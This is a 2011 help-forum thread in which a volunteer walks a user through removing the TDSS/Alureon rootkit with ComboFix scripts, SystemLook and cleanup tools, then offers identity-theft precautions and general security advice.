Hi -

things look good –

the Adobe Flash was trashed when the problem began – you asked that I not install new pgms so I am waiting.

I hope we can remove some of the 62 restore points and maybe some of the 628 hidden $xxxx subdirectories from the windows directory. That’s over 2500 files searched during scans.


step 1

C:\install\registryBooster deleted along with all other subdirectories.

Hi

Thanks.

We'll reset System Restore when we finish up, which shouldn't be long, we're just tying up some necessary loose ends. The hidden Windows directories need to stay.


COMBOFIX-Script

A word of warning: Please do not run ComboFix on your own. This tool is not a toy and not for everyday use.

If combofix prompts you that an update is available, please allow it to update.


  • Please open Notepad (Start -> Run -> type notepad in the Open field -> OK) and copy and paste the text present inside the code box below:

    Code: Select all
    Folder::
    C:\Documents and Settings\admin\Local Settings\Application Data\Google\Chrome\User Data\Default\Default\nejcfofponajoeefedoafebpapaplkdm
    

  • Save this as CFScript.txt and change the "Save as type" to "All Files" and place it on your desktop.

    Image
  • Very Important! Temporarily disable your anti-virus, script blocking and any anti-malware real-time protection before following the steps below. They can interfere with ComboFix or remove some of its embedded files which may cause "unpredictable results".
  • If you need help to disable your protection programs see here.
  • Referring to the screenshot above, drag CFScript.txt into ComboFix.exe.
  • ComboFix will now run a scan on your system. It may reboot your system when it finishes. This is normal.
  • When finished, it shall produce a log for you. Copy and paste the contents of the log in your next reply.

CAUTION: Do not mouse-click ComboFix's window while it is running. That may cause it to stall.

Re: redirected searches and email problems

Unread postby melboy » June 16th, 2011, 6:44 pm

Hi

The folders pertain to the Operating System. Generally, Windows hides things it doesn't want people tinkering with. :D

Run this Cfscript. It shouldn't do a full scan and you'll be presented with a log; DeQuarantine_log.txt.

Please post that log and then we can proceed with the final stage.

Are things still running well?


COMBOFIX-Script

A word of warning: Please do not run ComboFix on your own. This tool is not a toy and not for everyday use.


  • Please open Notepad (Start -> Run -> type notepad in the Open field -> OK) and copy and paste the text present inside the code box below:

    Code: Select all
    DeQuarantine:: 
    C:\Qoobox\Quarantine\C\BibleSpeak\BibleSpeak.exe.vir
    C:\Qoobox\Quarantine\C\WINDOWS\stic1690.exe.vir
    Quit::
    

  • Save this as CFScript.txt and change the "Save as type" to "All Files" and place it on your desktop.

    Image
  • Very Important! Temporarily disable your anti-virus, script blocking and any anti-malware real-time protection before following the steps below. They can interfere with ComboFix or remove some of its embedded files which may cause "unpredictable results".
  • If you need help to disable your protection programs see here.
  • Referring to the screenshot above, drag CFScript.txt into ComboFix.exe.
  • When finished, it shall produce a log for you DeQuarantine_log.txt. Copy and paste the contents of the log in your next reply.

CAUTION: Do not mouse-click ComboFix's window while it is running. That may cause it to stall.

Hi -

things seem to be running fine.


I ran CFScript as you said - I got a fullscreen display of the dot text file - after 2 hours of no activity I stoped it. No dequarantine_log.txt but dequarantine.txt file

C:\Qoobox\Quarantine\C\BibleSpeak\BibleSpeak.exe.vir -> C:\BibleSpeak\BibleSpeak.exe ( 2768896 bytes )
C:\Qoobox\Quarantine\C\WINDOWS\stic1690.exe.vir -> C:\WINDOWS\stic1690.exe ( 221184 bytes )

The logs now look good so with everything running well the PC seems at this stage to be free of malware. Install Flash Player and then we'll move to the final post & finishing cleaning up, all being well. ;)

Visit this page and run the Flash Player uninstaller first : http://kb2.adobe.com/cps/141/tn_14157.html


Then visit this site and install Flash Player : http://get.adobe.com/flashplayer/


Let me know how things are after that.

Hi

Good. Is everything OK with your e-mails now?

Before we uninstall it, I just want to check that combofix replaced those files correctly and then we should be all done. Looking again at the DeQuarantine log i would have expected to see confirmation that the files had indeed been copied over:
2 File(s) copied



SystemLook

You should still have this on your desktop.

  • Double-click SystemLook.exe to run it.
  • Copy the content of the following codebox into the main textfield:
    Code: Select all
    :file
    C:\BibleSpeak\BibleSpeak.exe 
    C:\WINDOWS\stic1690.exe

  • Click the Look button to start the scan.
  • When finished, a notepad window will open with the results of the scan. Please post this log in your next reply.
Note: The log can also be found on your Desktop entitled SystemLook.txt

Hi

Your log now appears to be clean. Congratulations!
This is my general post for when your logs show no more signs of malware ;) - Please let me know if you still are having problems with your computer and what these problems are. If all is well, please continue with the instructions below.



Uninstall Combofix

We Need to Remove ComboFix

  1. Please go to Start -> Run
  2. Enter "ComboFix /uninstall" (without quotes). Note the space between "ComboFix" and "/uninstall", it needs to be there.
    Image
  3. Press OK (Or hit enter).
  4. Allow ComboFix to remove itself.



OTC by OldTimer

Download OTC by Old Timer and save it to your Desktop.

  • Double-click OTC.exe
  • Click the CleanUp! button
  • Select Yes when the Begin cleanup Process? Prompt appears
  • If you are prompted to Reboot during the cleanup, select Yes
  • The tool will delete itself once it finishes, if not delete it by yourself


========================================

You have signs of "leftovers" in the logs from incomplete antivirus software removal. I would download and run the relevant removal tools for the programs. They work in much the same way as the Vipre removal tool (VPPClean.exe), I had you run previously.

http://www.avast.com/uninstall-utility <-- Avast Uninstall Utility
http://www.avg.com/us-en/utilities <-- AVG Remover

=========================================


Your computer was infected with a ROOTKIT. In particular, the TDSS rootkit, also known as Win32/Alureon. A rootkit is a set of software tools intended for concealing running processes, files or system data from the operating system.

Due to its rootkit functionality, it's impossible to tell what may have been done when the system was compromised.

Therefore it may be prudent to:

  1. Call all your banks, financial institutions, credit card companies and inform them that you may be a victim of identity theft and put a watch on your accounts.
  2. Change all your passwords (ISP login password, your email address(es) passwords, financial accounts, PayPal, eBay, Amazon, online groups and forums and any other online activities you carry out which require a username and password)

How do I respond to a possible identity theft and how do I prevent it


=========================================


General Security and Computer Health

Below are some steps to follow in order to dramatically lower the chances of reinfection. You may have already implemented some of the steps below, however you should follow any steps that you have not already implemented.


  • Make sure that you keep your antivirus updated
    New viruses come out every minute, so it is essential that you have the latest signatures for your antivirus program to provide you with the best possible protection from malicious software.
    Note: You should only have one antivirus installed at a time. Having more than one antivirus program installed at once is likely to cause conflicts and may well decrease your overall protection as well as impairing the performance of your PC.
    Uninstall Tools for Major Antivirus Products

  • Security Updates for Windows, Internet Explorer & Microsoft Office
    Whenever a security problem in its software is found, Microsoft will usually create a patch so that after the patch is installed, attackers can't use the vulnerability to install malicious software on your PC. Keeping up with these patches will help to prevent malicious software being installed on your PC. Ensure you are registered for Windows updates via Start > right-click on My Computer > Properties > Automatic Updates tab or visit the Microsoft Update site on a regular basis.
    Note: The update process uses ActiveX, so you will need to use internet explorer for it and allow the ActiveX control to install.

  • Update Non-Microsoft Programs
    Microsoft isn't the only company whose products can contain security vulnerabilities. To check whether other programs running on your PC are in need of an update, you can use the Secunia Software Inspector - I suggest that you run it at least once a month.


Recommended Programs

I would recommend the download and installation of some or all of the following programs (if not already present), and the updating of them on a regular basis.

  • Malwarebytes' Anti-Malware
    As you already have Malwarebytes' Anti-Malware on board I would keep it regularly updated and run regular quick scans with it. Malwarebytes' Anti-Malware is an anti-malware application that can thoroughly remove even the most advanced malware. The Full version can be used as an addition to an anti-virus & includes a number of features, including a built in protection monitor that blocks malicious processes before they even start.
    It's IP Protection provides an additional layer of security for your computer, by preventing access to known malicious IP addresses and IP ranges.

  • Hosts File
    For added protection you may also like to add a host file. A simple explanation of what a Hosts file does is HERE and for more information regarding host files read HERE.

  • Use an alternative Internet Browser
    Many of the exploits are directed to users of Internet Explorer. Try using a different browser instead:
    Firefox
    Opera


Finally I am trying to make one point very clear. It is absolutely essential to keep all of your security programs up to date.

Also please read this great article by Tony Klein So How Did I Get Infected In First Place

I'd be grateful if you could reply to this post so that I know you have read it and, if you've no other questions, the thread can be closed.

Happy surfing and stay clean!

Hi -

1 )ComboFix uninstall done

2 ) OTC by old timer done

3 ) Avast Uninstall done

4 ) AVG Remover done

currently reading your referenced materials

I had hoped we could reduce the 60 some system backup/restore points before we are done.

Hi

You should find that System Restore has been reset - Please let me know if it hasn't.

Hi -

yes it was off - sorry

is it likely that the rootkit problem existed long before the visable network problems?

Hi

If by "Network problems" you mean "my searches are almost always redirected to unrelated sites." The rootkit was the cause of this. When you first started noticing the re-directs, that would have been only a very short while after infection by the rootkit.
